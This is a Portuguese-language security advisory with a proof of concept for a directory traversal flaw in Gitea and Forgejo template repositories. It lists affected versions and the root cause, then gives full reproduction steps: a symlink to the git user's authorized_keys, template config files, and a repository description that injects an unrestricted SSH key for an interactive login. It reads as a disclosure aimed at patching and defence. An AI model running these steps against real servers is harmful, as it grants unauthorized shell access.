
A travessia de diretório no processamento de modelos de repositório do Gitea e Forgejo permite que atacantes autenticados remotos processem arquivos arbitrários no sistema de arquivos, levando à execução remota de código.
Este trabalho está licenciado sob uma Licença Creative Commons Atribuição-CompartilhaIgual 4.0 Internacional.
Ao verificar o código-fonte do Forgejo e do Gitea para entender melhor como a modelagem (templating) é realizada, descobri uma vulnerabilidade que permite a um usuário autenticado criar um repositório de template malicioso que pode ser usado para processar arquivos arbitrários no sistema de arquivos.
Ao criar um repositório baseado no conteúdo Git do template malicioso, o template será capaz de expandir arquivos arbitrários no sistema de arquivos.
Sabendo o caminho do diretório home do usuário git (que, por padrão, é
/data/git na imagem Docker oficial), um atacante pode expandir o arquivo
.ssh/authorized_keys do usuário git para injetar uma chave sem o
parâmetro command, que pode ser usada para executar comandos arbitrários ou um
shell interativo.
Versões afetadas: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
Componente afetado: Repositórios de template
Causa raiz: Resolução de link simbólico ao ler e escrever conteúdos de arquivos de template
O atacante autentica como um usuário legítimo
O atacante cria um repositório de template malicioso contendo um link simbólico
para o arquivo .ssh/authorized_keys do usuário git (adivinhado) e um
arquivo .forgejo/template que referencia o link simbólico
O atacante adiciona uma chave pública SSH à sua conta com um comentário personalizado
terminando com ${REPO_DESCRIPTION}
O atacante cria um repositório referenciando o repositório de template malicioso com a modelagem de conteúdo Git ativada e uma descrição contendo uma nova linha seguida por outra chave pública SSH
O Gitea/Forgejo lê e modela o link simbólico authorized_keys,
fazendo com que o comentário da chave pública definida anteriormente seja expandido para uma entrada
arbitrária correspondente à descrição do repositório do atacante, sem o parâmetro
command
O atacante faz login de forma interativa como o usuário git, usando a chave injetada
Também é possível para o atacante corromper arquivos de configuração, banco de dados SQLite ou causar negação de serviço ao ler arquivos enormes.
Instalar e configurar uma versão vulnerável do Gitea/Forgejo
Registrar ou criar uma conta para o atacante usando a conta de administrador
Fazer login usando a conta do atacante
Gerar duas chaves SSH diferentes: uma para Git e uma para SSH interativo
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub como uma chave SSH autorizada
usando a interface do Gitea/ForgejoO comentário da chave deve estar presente e se parecer com isto:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
O arquivo .ssh/authorized_keys do usuário git agora se parece com isto:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Criar um repositório de template malicioso usando a interface do Gitea/Forgejo
Clonar o repositório de template e adicionar o link simbólico malicioso e a configuração de template
# Clonar o repositório de template
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Criar link simbólico malicioso
ln -s /data/git/.ssh/authorized_keys
# Ao usar Gitea, criar configuração de template do Gitea
mkdir .gitea
echo authorized_keys > .gitea/template
# Ao usar Forgejo, criar configuração de template do Forgejo
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit e push das alterações
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pubA descrição do repositório deve se parecer com isto:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
O replaced na primeira linha não é obrigatório, mas você precisa garantir que a
nova linha ainda esteja presente, independentemente.
O comentário attacker@machine no final da linha também é opcional.
O resultado do arquivo .ssh/authorized_keys do usuário git será assim:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh e o cliente sshssh -i ~/.ssh/attacker-ssh git@localhost -p 222